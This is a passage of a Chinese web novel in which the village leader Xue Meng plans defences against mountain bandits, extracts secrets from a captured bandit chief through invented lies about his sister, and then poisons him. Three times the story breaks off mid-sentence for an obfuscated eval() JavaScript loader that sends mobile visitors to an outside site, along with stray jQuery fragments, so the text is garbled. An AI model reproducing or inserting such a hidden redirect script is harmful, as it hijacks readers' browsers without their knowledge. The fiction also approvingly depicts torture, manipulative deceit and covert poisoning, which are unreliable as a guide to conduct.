薛猛转头扫向郑灵均、罗飞等几名巡猎队队长,口气也再没了先前的和善:“大刀队、**队、**队、投掷队,必须马上招募新人!”
“卧虎村没人,就去其他村子招,钱不是问题!但一定要招敢打、敢拼的硬汉,孬种别来!”
“领命!”
几名队长也都提起了精神,拱手领命,转身离去。
薛猛接着起身来到老白头面前,语气稍微和缓了一些:“白叔,铁艺坊暂停铸造铁锅,全力生产钢刀、连**、钢枪头、箭头!巡猎队要想增员,武器是根本!”
“放心吧!包在老头子身上!”
老白头摸了摸眼角的泪花,心中斗志再次被薛猛点燃,点头应道。
“徐伯,玉娘村那些妇人,都安排好住处了吧?她们可还适应咱们村的生活?有没有三心二意的人,想离开的?”
薛猛转而对徐守业问道。
大敌当前,薛猛要确定村子里的人,是不是全都一条心。
若有三心二意之人,必须尽早处理。
徐守业回道:“都安排好了!咱们卧虎村有四五十户光棍,正好每家帮扶一家,我看那些玉娘村的妇人们也都挺乐意的!”
“我让她们去鱼胶坊、纺织坊帮忙,每天饭堂管三顿饭,每月有工钱拿,她们都高兴坏了,说从来没见过这样的好事!”
“尤其是吃饭的时候啊,一个个全吃哭了!说这辈子,都不想离开卧虎村,死都要做卧虎村的鬼!”
薛猛点点头,徐守业不愧是白虎军军师,安排得很到位。
后勤配给这一块儿,有徐守业把持,倒是不需要他怎么操心!
“徐伯,从明天开始,咱们卧虎村所有村民,每三天停工一次,跟着巡猎队一起习武!”
“无论男女老少,都要掌握一些基础的杀敌技巧!闲时做工,战时全民皆兵!”
“派村民采买粮草,囤于仓库内,以备不时之需!”
“同时,让王羽、周堂、李正,多配制些**,让施工队加固寨墙!”
“行,老夫这就去跟他们说!”
徐守业点头,起身离去。
紧接着,薛猛又派寇达去洪雅县,探听消息:“若是黑风岭响马有任何异动,随时来报!”
“是!”
安排完任务,偌大的会议室里,人都走光了,只剩下寇芳。
薛猛独自瘫坐在椅子上,仿佛浑身气力都被抽空!
薛猛很清楚,黑风岭响马一日不除,自己头上就好像悬着一把剑,随时会掉下来!
一旦响马率众来袭,自己现在所拥有的这一切,都将灰飞烟灭!
薛猛顿觉压力山大!
“寇芳,独眼龙还是不肯交代黑风岭底细吗?”
要想战胜黑风岭,就必须了解黑风岭!
这也是薛猛留独眼龙一口气的目的。
他就是想从独眼龙口中,获取更多关于黑风岭的信息。
然而寇芳却是无奈摇头:“什么法子都试了,他就是不肯开口!还说什么,黑风岭大王对他有恩,他就是死也不会出卖大王!”
薛猛闻言,虎目微眯,眼底闪过一抹冷冽寒芒。
“嗬!倒是个硬骨头嘛!我去会会他!”
第111章 活阎王薛猛
“恩公,这些东西,真的能让那独眼龙开口?”
看着薛猛让她准备的东西,寇芳有些懵。
一坛酒、一盘炒得黑乎乎的腊鱼、一盘蒸野鸡。
寇芳实在搞不懂,薛猛这是要请客吃饭,还是要审讯响马?
就靠这几样东西,想让一个冥顽不灵的响马头子服软,这不是开玩笑吗?
薛猛笑而不语,也不多做解释。
审讯与反审讯,是前世特种兵的必修科目!
审讯能力,决定了是否能够从敌人口中,获取更多的有用信息,这些信息往往关乎整个战局。
前世,薛猛在多次执行任务过程中,总结出了一套独特的审讯手段。
不论是训练有素的敌国特工,或是嚣张凶狠的恐怖组织头目,亦或是以身**狡猾多段的药贩……
只要落到薛猛手里,没有一个不破防的!
在前世地下世界,至今还流传着薛猛“活阎王”的称号!
“走,把酒菜带上,咱们去会会这独眼龙!”
薛猛说着,举步出门。
寇芳无奈,也只能将酒菜装进食盒,跟了上去。
……
“说!你们黑风岭有多少头领,有多少马匹、武器、甲胄!不说姑奶奶抽死你!”
**!
薛猛刚到小黑屋门外,就听见屋内传来裴红玉气急败坏的娇叱。
透过窗户,可以看见,裴红玉手拿鞭子,狠狠抽打着被绑在木柱上的独眼龙。
独眼龙身上早已伤得体无完肤,满头满脸都是鲜血。
但脸上却毫无恐惧,反是得意狂笑:“哈哈哈!臭娘们儿!有种打死老子!十八年后,老子照样是一条好汉!”
“你现在不杀了我,等我逃出去,我一定会带大军前来,把你们这个鸟村子夷为平地!”
“到时候,老子一定要让弟兄们,轮了你这臭娘们儿!”
“畜牲!”
独眼龙这番话,无疑是彻底激怒了裴红玉!
裴红玉银牙一咬,冰眸圆瞪,抓起一旁的钢枪,作势便要捅死独眼龙。
“住手!”
却在这时,薛猛连忙踏进屋子,抬手叫住了裴红玉。
“薛猛,你别拦着我!”
裴红玉气得波涛汹涌,为了审讯独眼龙,她连巡猎队战后总结会都没去开!
“这家伙是死猪不怕开水烫,不管怎么打,就是不肯交代!”
“留着他也没什么用处,不如让姑奶奶宰了他!”
薛猛不语,只是横眉瞪了裴红玉一眼。
裴红玉目光一怔,感受到薛猛的威压,只能强压下心中怒火,冷哼一声,悻悻然退开在一旁。
审讯的目的,是为了从敌人口中,获取更多有用的信息!
若是要杀独眼龙,在迷雾竹林的时候,薛猛早就把他宰了!
审讯最忌讳心浮气躁。
尤其是面对悍不畏死的顽固分子,单纯的酷刑、打骂,根本不起作用,反而会激起对方逆反心理,最终导致审讯失败。
独眼龙这家伙很聪明,刚才明摆着就是故意激怒裴红玉,想借裴红玉之手,了断自己的性命!
薛猛岂能看不出他这点小把戏?
“把酒菜放下,你俩都出去吧!”
薛猛在椅子上坐下,挥挥手。
寇芳闻言一怔,随即从食盒里取出酒菜和碗筷,放在桌子上,转身出去了。
薛猛这家伙,又唱哪出戏?
对付独眼龙这种作恶多端的响马,难不成还要请他吃酒?
裴红玉两眼快要喷出火来,张了张嘴,刚想说什么,却被薛猛率先开口打断:“我让你出去,没听见吗?”
“哼!”
裴红玉一扭头,气鼓鼓地转身出了门。
砰的一声!
房门被摔上了。
独眼龙抬起眼皮,扫了眼桌子上的飘着香气的酒菜。
桌上摆着两副碗筷。
薛猛倒了碗酒,自饮自酌,又用手抓起一块腊鱼佐酒。
腊鱼熏得很干很紧实,用花椒油煎过,酥麻焦香,咬上一口鱼肉一丝一丝的,越嚼越香。
咕咚。
酒菜的香气,分外勾人,引得饿了一天一夜的独眼龙喉头滚动,忍不住舔了舔干裂的嘴皮。
独眼龙沉哼一声,闭上双眼,强忍饥饿不去看薛猛。
对方这些微小的举动,全都被薛猛的余光看得一清二楚。
薛猛不搭理独眼龙,只顾着吃肉喝酒。
窗外日光弹指过,席间花影座前移。
薛猛慢悠悠喝完半坛子酒,啃了七八块腊鱼,津津有味地嗦了嗦手指上的油。
备受饥渴煎熬的独眼龙,哪怕闭着眼,却也无法抵挡酒肉香气的侵袭。
那种因饥饿导致的胃肠绞痛,满嘴泛酸的滋味,比鞭打烙刑还要痛苦难耐!
后者再痛不过是皮肉之苦,但饥饿、干渴,却让五脏六腑都跟着遭罪!
饶是头铁如独眼龙,也终于忍不住,嘶哑着嗓子主动开了口:“想我独眼龙纵横绿林,也算是一条响当当的好汉!”
“如今落在你们这些刁民手里,杀又不杀,剐又不剐,是何道理?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313075|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>“有种的,给我一个痛快!”
薛猛用竹签剔了剔牙,看都没看破防叫嚣的独眼龙一眼。
本以为还得熬上几天几夜呢!
没想到,这家伙这么快就破防了!
比起前世遇到的那些训练有素的硬骨头,差远了!
不过想来也对,独眼龙只不过是个响马头领罢了,根本没有经受过现代反审讯训练,自然比不上前世那些敌国特工。
薛猛用布巾擦了擦手,端起酒碗,这才缓缓开口:“林长贵,楚州宁县人士,七岁丧父,十岁丧母,和亲妹妹林水妮相依为命,靠乞讨求生。”
“十七岁时,因与人当街争执,失手**,左眼也是那时被人戳瞎,畏罪潜逃,在宁县笔架山落了草,得个诨号‘独眼龙’。”
“后笔架山土匪被官军剿灭,带着手下三十多名土匪四处逃窜,流落至蜀郡,幸得银面虎赏识,投靠黑风岭做了个骠骑营头领!”
“……”
听着薛猛轻描淡写,准确无误道出自己的身世来历,独眼龙顿觉脊背发寒,嘴唇都哆嗦了起来。
“你在说什么,我听不懂。”
独眼龙强压心中震惊,故作镇定。
但薛猛早已察觉了对方眼底闪过的惊愕惶恐之色。
前世,薛猛每次进行审讯之前,都会尽可能收集审讯目标的背景信息。
包括国籍、军衔、职责、宗教信仰、家庭关系、性格特征等等。
从而推断其心理弱点。
薛猛坚信,无论外表再怎么无懈可击的人,内心都有弱点!
独眼龙曾经被官府通缉过,他的信息并不难查。
虽然获得的信息比较碎片化,但经过薛猛的“画像分析”逻辑推导后,很快便拼凑出独眼龙的身世。
从对方的微表情反应不难看出,自己的推断基本准确!
薛猛趁热打铁,进一步瓦解独眼龙的心理防线:“你在黑风岭站稳脚跟后,曾经多次派手下心腹,回到楚州寻找失散的妹妹林水妮。”
“可惜,最终全都无功而返。”
“你到底想说什么?!”
独眼龙额角冷汗直冒,感觉眼前这个坐着喝酒吃肉,不动一丝烟火气的白袍男子,比之前凶狠拷打他的那些人,还要恐怖百倍!
薛猛慢悠悠喝干碗里的酒,放下酒碗。
转头朝独眼龙看了过来,唇角轻勾,眼神含笑。
但那笑意透着一种冷漠,仿佛能够洞穿人心。
接下来薛猛说出的一番话,更是让独眼龙再也硬气不起来!
第112章 弹指之间,取人性命!
“我不仅知道关于你的一切!”
“我还知道你妹妹的下落!”
薛猛直勾勾盯着独眼龙,仿佛一眼就能将他五脏六腑看穿。
独眼龙闻言一怔,随即不屑冷笑:“你觉得我会相信你吗?”
独眼龙曾经多次派人回楚州寻找林水妮的下落,但全都无功而返,薛猛怎么可能知道他妹妹的下落?
他根本就不相信薛猛!
薛猛也不恼,淡声说道:“自你亡命天涯,离开楚州后,你妹妹林水妮被一人贩子拐带,卖给了戏班子。”
“从此跟着戏班子一路卖唱,穿州过府,四处卖艺求生,日前紫丘县白石街张员外过寿,张家人请了戏班子唱堂会。”
“你妹妹,正巧就在这个戏班子里!”
“不曾想黑风岭响马下山借粮,抢的第一家便是张府!张府上下七八十口子,连带着戏班子的戏子,全都成了响马刀下冤魂!”
“林水妮因姿色出众,被响马轮番玷污,最终不堪其辱,跳河自尽!”
不等薛猛说完,独眼龙脖子上青筋暴起,怒声大吼:“胡说八道!!!”
“我妹妹早就**!”
“这些都是你胡诌的!对,一定是你胡诌的!”
见独眼龙情绪激动,脸色红温,急于否定。
薛猛知道,对方内心已经动摇了!
越是急于否定,内心就越害怕。
“你可以不信。”
“但你妹子的尸体,顺着河水漂流而下,被我们卧虎村的捕鱼队打捞了起来。”
“她身上至今还留着,你留给她的东西!”
独眼龙瞳孔一缩,不知道想起了什么,连忙问道:“你是说……那半块古玉?”
薛猛一怔,古玉?
本来只是随口说说,想诈一诈独眼龙。
没想到这家伙还真给他妹妹留过东西?
“对,就是古玉!”
薛猛脸不红心不跳,点头道。
“在哪里?在哪里?!快给我!!!”
独眼龙双目血红,状若疯狂,再也无法保持冷静!
“我要见我妹妹!”
“求你了,让我见我妹妹最后一面!”
“只要让我见我妹妹最后一面,我什么都听你的!!”
在骨肉亲情面前,饶是这个作恶多端,**如麻的响马头子,也不禁垂下了泪水。
薛猛心中冷嗤:鳄鱼的眼泪罢了!
薛猛冷着脸道:“你先告诉我,我想知道的东西,我再带你去见你妹妹!”
当得知薛猛手上有当年留给妹妹的古玉后,独眼龙此时已经有七八分相信薛猛。
离开家乡十几年,他不敢回乡,只能派手下暗中寻找妹妹下落,可始终音讯杳无。
如果真能见到妹妹最后一面,就算背叛黑风岭也在所不惜!
哪怕他怀疑薛猛在骗他!
但万一是真的呢?
万一自己的亲妹妹,真是被响马所害,黑风岭便不再是他的恩人,而是仇人!
自己怎能为了给仇人保守秘密而死?
“好!我告诉你!”
“你想知道什么,我全都告诉你!”
独眼龙纠结再三,最终还是松了口。
“不急!”
薛猛却是一副并不着急的态度,来到木柱后面,解开了绑住独眼龙的绳子。
“我知道,你已多年不曾回乡了!”
“先坐下,喝口酒润润喉吧!”
“这可都是我专门为你准备的家乡菜!”
独眼龙踉跄来到桌前,看着桌上的酒菜,整个人如遭雷劈,怔怔出神。
烝凫(蒸野鸡)、腊鱼,全是楚州地方菜!
做法看上去都很正宗。
一时间,一股莫名的情绪涌上心头,独眼龙肩膀颤抖,泪水哗哗往下掉。
这一刻,他想起了自己早已作古的父母!
想起了失散多年的妹妹!
想起了故乡的山,故乡的水!
独眼龙缓缓在桌前坐下,颤抖着手,拿起筷子,夹起一块腊鱼。
只是尝了一口,便哽咽住了。
连味道,都是地道的楚州风味!
先前他还有些怀疑,薛猛刚才那些话,是不是在骗他!
可吃到这地道的家乡味,独眼龙内心已经无条件信任了薛猛。
就凭这一口十多年没吃到的家乡味,他也愿意相信,薛猛真的找到了他日思夜想的妹妹!
但同时,独眼龙心中又涌出一股悲愤!
如果薛猛说的都是真的!
那么黑风岭,就是他的仇人!
看着情到深处,潸然泪下的独眼龙,薛猛心中不由感慨。
人类最大的优点,就是重感情!
人类最大的弱点,也是重感情!
在亲情、乡愁的双重重击之下,独眼龙的内心防线已经土崩瓦解了!
薛猛替独眼龙倒了一碗酒,旁敲侧击道:“你是一个值得尊敬的对手,若是正面交锋,我未必赢得了你。”
“我想知道,像你这样厉害的头领,黑风岭应该不多吧?”
独眼龙一仰脖,喝干碗里的酒:“不!我不算什么!”
“黑风岭有上百头领,响马千员!”
“此外,黑风岭与蜀郡十七县九山十二岛水陆寨主,互有来往!”
“若是其他山头有难,黑风岭必定驰援!若是黑风岭有求,其他山头也会前来助拳!”
薛猛闻言点点头。
有用的信息,这不就套出来了?
薛猛继而叹道:“黑风岭如此势大,你妹子的仇只怕是难报了!”
“前日攻破紫丘县害了你妹子的那伙响马,据说是黑风岭大王义子元良领的头,你跟那元良关系如何?”
砰!
独眼龙满脸杀气,一拳砸在桌子上,震得桌上酒水四溅。
“元良害死我胞妹,我跟他还有什么关系可言?!我恨不得生啖其肉!”
发完火,独眼龙却又无力地松开了拳头,摇头悲叹:“只是那厮,本事了得,手握一杆方天画戟,打遍蜀郡绿林无敌手!想要为我妹妹报仇,确实难如登天!”
薛猛趁热打铁,追问道:“怎么说?”
独眼龙话匣子已经打开,也不再隐瞒,一股脑将黑风岭发家的内幕全都抖露了出来。
“五年前,黑风岭还只有区区三四百名响马。”
“那时节,蜀郡七县九山十二岛彼此间为了争夺地盘,多有摩擦,起了不少争斗,于是众寨主决定,在白龙岛举行一次比武大会!”
“派各自山寨的第一勇士登台比武,以此决定地盘划分,免却无谓的流血争斗!”
“当日,上百豪杰登台比武,打得头破血流!”
“最终元良力压群雄,重伤绿林公认的第一好汉白龙岛寨主‘白龙王’,成为了蜀郡绿林新的第一好汉!”
“黑风岭便是从那时起,风头日盛,盖过白龙岛,逐渐坐稳了蜀郡绿林龙头位置!”
“短短数年,黑风岭啸聚了上千人马,至今未逢敌手!”
薛猛低眉沉吟,若有所思。
接下来,薛猛又通过旁敲侧击,从独眼龙口中问出了黑风岭的人员构成。
“其实我们这些头领,在黑风岭根本说不上话!”
“自银面虎之下,黑风岭真正的核心人物,叫做四梁八
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313076|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柱!”
“顶天梁元良,统领三百青狼军精骑,是黑风岭最精锐的队伍!打仗砸窑碰上扎手的点子,都是他们出山摆平!”
“托天梁冷先生,负责后勤补给,粮食分配,精通算计,管着全山寨的吃喝拉撒!”
“应天梁忘机子,也就是黑风岭的军师,负责出谋划策,原是个游方道人,懂得天文地理,占卜打卦!”
“顺天梁刘**,掌管山寨戒律,安插明暗岗哨,探子细作也都归他管!”
“八柱,则是四梁手下的副手,将来要接四梁的班!”
“除了搬垛柱由忘机子一人代领之外,其他七柱,不是四梁手下的心腹,便是儿女亲戚,全都和四梁一条心!”
“这十一个人,各有非凡本领,把持着黑风岭山寨大权,百名头领都要听他们号令!”
薛猛又问:“你们这些头领,每个人管多少人?”
独眼龙摇摇头:“这倒没有定数!”
“骠骑营每营二十人到五十人不等,细作营每营不到十人,刺杀营每营七八人,弓手营每营三四十人。”
“……”
门外,听着屋内独眼龙将黑风岭的机密一一交代清楚,裴红玉和寇芳面面相觑,心中无不惊异。
不仅是惊异于黑风岭响马内部构成如此严密,堪比正规军队。
同时,更惊异于独眼龙竟然真的一五一十,向薛猛交代了这些外人无法窥见的山寨内幕!
不久前,这家伙还一副宁死不背叛黑风岭的硬汉架势。
结果薛猛三言两语,就让他敞开心扉,口吐真言!
薛猛到底怎么做到的?
独眼龙放下喝干的酒碗,抹了抹眼泪,看向薛猛:“我所知道的,已经全都告诉了你!”
“其他更机密的事情,我也不得而知了!虽然我在黑风岭效命多年,但终究还是没能触及真正的核心!”
“现在,你可以带我去见我妹妹了吧?”
当独眼龙说出这句话的时候,他的最后一丝价值,已经被薛猛榨干。
薛猛轻笑。
“不急!”
“不急!”
“你马上就可以见到你妹妹了!”
独眼龙闻言一怔,当他反应过来薛猛这句话什么意思的时候,顿觉一股腥热涌上喉头。
“噗!”
一口黑血喷出。
独眼龙脖子上黑筋暴起,双目圆瞪。
“你……你……在菜里下毒!我,跟你……拼了!”
他难以置信地瞪着坐在旁边的薛猛,想要伸手,掐薛猛的脖子。
但手刚刚抬起,便无力垂下。
咚的一声闷响,独眼龙趴在桌底,嘴角溢血,没了动静。
薛猛拿起筷子,把盘子里最后剩下的菜,吃得干干净净,把剩下的酒也喝了。
这才缓缓起身。
见独眼龙毒发身亡,裴红玉、寇芳吃惊不小,连忙推门而入。
确认独眼龙已经死透,寇芳抬头对薛猛问道:“恩公,酒菜是我准备的,并没有下毒啊,他怎么会**呢?”
裴红玉也是怔怔看着薛猛,为什么同样的酒菜,薛猛吃了屁事没有,独眼龙吃了却**而死?
薛猛竖起小拇指,冷冷一笑。
“我在指甲盖里藏了草乌药粉,方才给他倒酒的时候,指甲盖在酒碗里涮了一下。”
嘶!
听闻此言,寇芳和裴红玉同时倒吸一口凉气。
只觉得薛猛这手段,比蛇蝎还要狠毒!
他脸上的笑意更是让人毛骨悚然,不寒而栗!
这家伙,简直就是个活阎王!
弹指之间,便可取人性命!
第113章 用兵之道
“薛猛,你怎么知道黑风岭响马害**独眼龙的妹妹?”
裴红玉忍不住问出了心中疑问。
刚才薛猛对独眼龙说的那些事情,就好像他就在现场,亲眼目睹过一样。
薛猛闻言,却是淡淡一笑:“我的确查到他有一个妹妹,但我根本没见过他妹妹!后面那些事情,全都是我胡编的!”
“啊?”
裴红玉一怔。
“那捕鱼队打捞到他妹妹的尸体,也是假的?”
“当然是假的!”
“可你既然没有见过她妹妹的尸体,你怎么知道她妹妹身上,有独眼龙当年留下的古玉?”
薛猛轻笑:“我知道个屁的古玉!那不都是他自己说出来的吗?”
裴红玉仔细一想,好像还真是独眼龙自己说了漏嘴!
薛猛只是提了一句那东西,但没说具体是什么东西!
寇芳疑惑道:“但恩公你怎么就知道,他妹妹身上有他当年留下的东西?”
薛猛解释道:“我是这样想的,独眼龙跟他妹妹从小相依为命,必然感情深厚。”
“他被官府通缉后,将要亡命天涯背井离乡,此一别不知道还能不能再跟妹子相见。”
“你们想想,如果是你们,在这个时候,是不是要留下点什么信物,以便日后兄妹相认?”
寇芳一怔点头:“人之常情,理当如此!”
裴红玉低眉沉思片刻,忽地眼前一亮,似有所悟。
“哦!我明白了!”
“原来你是故意诈他的!”
薛猛点头:“不错嘛,这次居然会动脑子了,真是难为你这个胸大无脑的家伙了!”
裴红玉抱着胳膊,满脸不服气,噘嘴道:“谁说我胸大无脑!姑奶奶脑子机灵着呢!”
“我只是身为武夫,不善言辞罢了!要我审讯俘虏,我或许没你在行,但要论带兵打仗,姑奶奶未必输给你!”
“嚯!口气不小!”
薛猛一挑眉:“那我考考你,何为用兵之道?”
“用兵之道?”
“呵!那你可算问对人了!”
裴红玉做梦都想参军杀敌立功,为此读过不少兵书,想也没想,便脱口而出:“为将者必须勇冠三军,身先士卒,带头冲锋,激励手下士兵不惧死亡!”
薛猛摇头苦笑:“你这是莽夫之道,并非用兵之道!”
裴红玉一怔,满脸不服气:“哼!那你说,什么是用兵之道?”
薛猛伸手戳了戳裴红玉心口:“夫用兵之道,攻心为上,攻城为下!心战为上,兵战为下!”
裴红玉一把打开薛猛的咸猪手,眉头轻皱:“什么意思?能不能说人话!老娘是个粗人,听不懂这些文绉绉的词儿!”
薛猛无奈苦笑,这憨婆娘,以为带兵打仗,就是靠将领带头冲锋那么简单呢?
“红玉啊,我承认你的确作战勇猛!自巡猎队成立以来,你杀敌最多,说你是咱们卧虎村第一勇士也不为过!”
薛猛这话,听得裴红玉心里美滋滋,挺了挺胸脯,傲娇道:“还用你说!也不看姑奶奶是谁!”
但薛猛接下来的一番话,却让裴红玉脸上笑容一僵。
“但是,我们之前经历的战斗,不过都是些小打小闹罢了!”
“刚才独眼龙的话你们也听见了,黑风岭有上百头领,千员响马,并且与十七县九山十二岛的匪寇都有往来。”
“一旦他们沆瀣一气,起兵**,很快便能拉起上万匪兵!”
“这么多敌人,就凭你一个人杀得完吗?”
闻言,裴红玉眉眼低垂,暗自咬牙摇头。
就算她再怎么自恃勇猛,也不可能仅凭一己之力,抵挡上万匪兵!
别说上万了,在一线天的时候,面对五十骑响马,她就已经冷汗淋漓,近乎绝望了。
薛猛又道:“咱们卧虎村,男女老少加起来,也不过才三四百人。”
“就算让大家都跟着巡猎队习武,战时全民皆兵,也不可能和上万匪兵硬碰硬!”
“响马是山里的豺狼虎豹,死不足惜!但咱们卧虎村的乡亲们,每个人的命那都是命呐,绝不能轻易牺牲!”
“巡猎队的队员们,跟着你,听你的命令,就是把命都交给了你!”
“你天生神力,寻常响马奈何不得你!但其他人,可没有你这样的本事!你忍心带着他们去送死吗?”
“为将者,只知一味带兵冲锋,无论胜负,都已经输了一半!”
“两军交战,没有赢家!一旦打起来,难免会造成士卒伤亡;强行攻城略地,更是会殃及无辜百姓!”
“是故百战百胜,非善之善者也!”
“不战而屈人之兵,善之善者也!”
“战争的最高境界,不是靠武力征服,而是通过心理威慑、思想瓦解、人心收服,使得敌方主动屈服,使得民心归附我军!”
薛猛指着躺着地上的独眼龙,举了个例子:“就好比审讯,同样是这个道理!”
“遇到这种冥顽不灵的硬骨头,千万不可严刑拷打!”
“像你之前那样硬来,很可能到死都问不出有用的东西,就算强行逼问出来,也几乎全是假话,反倒会对我们造成误导!”
“只有攻破对方心理防线,拿捏起内心弱点,让其主动口吐真言,获取的信息才真实可靠!”
薛猛话音刚落。
屋内顿时鸦雀无声。
裴红玉低眉反思。
寇芳瞠目结舌。
她们总算明白,为什么打死不肯松口的独眼龙,却被薛猛三言两语摆平。
因为薛猛,准确地拿捏住了人心的弱点!
这可比一味的严刑拷打高明得多!
想起先前还跟薛猛顶嘴,裴红玉不禁汗颜。
原来审讯和用兵之道,竟是相通的!
之前薛猛让大刀队在一线天里伪装
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313077|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官军,故布疑阵,虚张声势,吓唬独眼龙一伙响马,不也正是活脱脱的攻心之计吗?
裴红玉忽然感觉,自己仿佛开窍了!
薛猛的这些话,让她颇有醍醐灌顶之感!
或许自己,也该学学真正的用兵之道!
“妙,妙啊!先生这番攻心之论,是我听过最精辟高妙的用兵之法!”
就在这时,门外响起一声喝彩。
茅仪一袭青袍,迈着步子走了进来。
“茅公子,你怎么来了?”
薛猛转头看向不请自来的茅仪。
茅仪目光湛湛,看向薛猛的目光充满钦佩,恭敬拱手回道:“先生,弟子来了已经有些时候了。”
“方才弟子在门外,听见你谈论用兵之道,感佩良多!”
“先生果真是胸怀伟略,高屋建瓴,不愧是能够写出滚滚长江东逝水的雄才!”
“茅仪忝为解元郎,被满县人唤做洪雅县第一才子,可在先生的雄才伟略面前,茅仪这点酸腐薄才,有如腐草之荧光,比之天心之皓月,实在微不足道!”
薛猛自谦:“茅公子,言重了!你可是公认的大才子,将来要做知县老爷的大人物,我薛猛不过一乡野村夫,不值得你尊称‘先生’!”
他是搞不懂这茅仪是怎么想的。
放着县城里养尊处优的好日子不过,非要跑到卧虎村来跟他混!
薛猛其实不太喜欢跟这些公子少爷打交道,所以就把茅仪丢给了徐守业,让他在学堂当个教书先生。
“茅公子,你找我有什么事吗?”
茅仪正色道:“先生,茅仪此来,是特地向先生辞别的!”
“哦?”
这倒让薛猛有些意外:“茅公子为何突然要走?难道是学生们不听话,惹恼了公子?”
“先生多虑了!学生们都很听话乖巧!”
茅仪笑着摇头,随即又无奈一叹:“实不相瞒,来卧虎村这段时间,是我过得最开心的一段时光。”
“在这里,我见识到了太多太多以前闻所未闻的新事物,铁锅、水车、烧烤、炒菜……可以说是大开了眼界!”
“这里的村民,吃得饱,穿得暖,人人安居乐业,和外面的世界相比,简直就是世外桃源!”
“说实话,茅仪真不想离开卧虎村!”
“怎奈何,吏部差人发来委任状,命我接任洪雅县知县,要求我即刻到任,不得延误!”
薛猛闻言一怔,随即释怀一笑:“这是个好事儿啊!”
“恭喜茅公子……哦不对,现在应该叫县尊大人了!”
裴红玉和寇芳也都面色一喜,齐齐拱手行礼:“恭喜县尊大人!”
“先生莫要取笑!”
若是换作其他举人,好不容易当上了官儿,早就乐疯了。
但茅仪面上却是没有半分喜色,反而愁眉不展。
薛猛诧异:“怎么,让你当官儿还不好?”
第115章 人虎情未了
罗飞苦涩一叹:“这不是官府发了榜文,让各村结寨自保吗?”
“这黑风岭的叛军,指不定哪天就打过来了!闹得大家人心惶惶,现在每个村子都在招募乡勇守村!”
“咱们卧虎村待遇好,附近村子的村民全都想来!”
“但隔壁临水村、青牛村、黄铜村、凤凰村四个村的村长和地主,害怕大家都跑了,没人留下守村,于是严令村民擅自出村!”
“大多数村民都不敢忤逆村长和村里地主,所以无论我们开多好的待遇,他们都不敢来了!”
其他队长也都叹了口气,满脸无奈,显然也都碰了壁。
杨虎道:“临水村的村长,还警告我们,要是再敢去他们村挖人,就跟我们拼命!”
“行,我知道了!”
听完队长们的反馈,薛猛并没有气恼,只是觉得悲哀。
亏他还曾经发过宏愿,要先让卧虎村富起来,再带着整个白虎乡都富起来,打造一个没有饥寒、没有匪患的世外桃源!
奈何总有一些鼠目寸光,故步自封的既得利益者,从中作梗!
“兵不在多而在精,将不在勇而在谋!”
“既然招不到人,那咱们就靠自己!”
“至于那些鼠目寸光的家伙,等黑风岭打过来了,他们自有苦头吃!”
留下这句话,薛猛转身离去。
没走多久,薛猛忽然感觉脊背发寒。
扭头朝身后树丛看去,黑暗中,仿佛有一双眼睛在偷偷看着自己。
“什么东西?!”
“出来!”
锵!
薛猛虎目圆瞪,拔出腰间警恶刀,寒光一闪,径直朝着树丛迅疾劈去。
“吼!!!”
一声骇人虎啸,震得四山回荡。
树丛之后,一道雪白身影迅疾跃出。
薛猛一刀劈空,急忙扭头看着那跃至身后五米开外的雪白身影,顿时大吃一惊。
只见那东西足有三米长,半人高,通体**色雪白,间杂着黑色条纹,额头上王字纹,彰显着王者之气。
一双湛蓝虎眸,如宝石闪耀。
两根下垂的虎牙,犹如**森寒。
虎爪踏地,浑身毛发飘扬,一股无形威压横扫八方,惊得满山鸟雀纷飞,百兽惊惶。
赫然是一头白虎!
这家伙浑身都是腱子肉,比之前遇到的华南虎,个头大了足足一倍。
薛猛看得心头发怵,下意识朝背后抓去,却是抓了个空。
坏了!
没带弓箭!
按理说,这里并非卧虎山腹地,附近的野兽早就被巡猎队清扫干净了,不会有老虎出没!
薛猛也就没有带弓箭出门。
谁曾想,路边树丛突然钻出这么大个白毛大虫!
那么问题来了。
没有强弓硬**。
没有长兵器。
一个身高一米八,体重一百六十斤的男人,手里只有一把三尺长的刀。
要跟身长三米,重达三百斤,一巴掌能拍出两千斤力道,一跃三五米的白毛大虫1V1!
求该男子的心理阴影面积。
“你,你别过来啊!信不信我一个滑铲给你撂翻!!”
薛猛紧紧攥着手里的刀,缓缓向后怯退,表面稳如老狗,内心慌得一批。
“吼嗷呜~”
薛猛本以为自己今天要原地吃席,然而令他万万想不到的是,白毛大虫并没有扑过来咬断他的脖子,而是试探着,缓缓朝他靠近。
薛猛一怔,只见那白毛大虫,竟然用毛茸茸的大脑袋蹭了蹭他的裤腿。
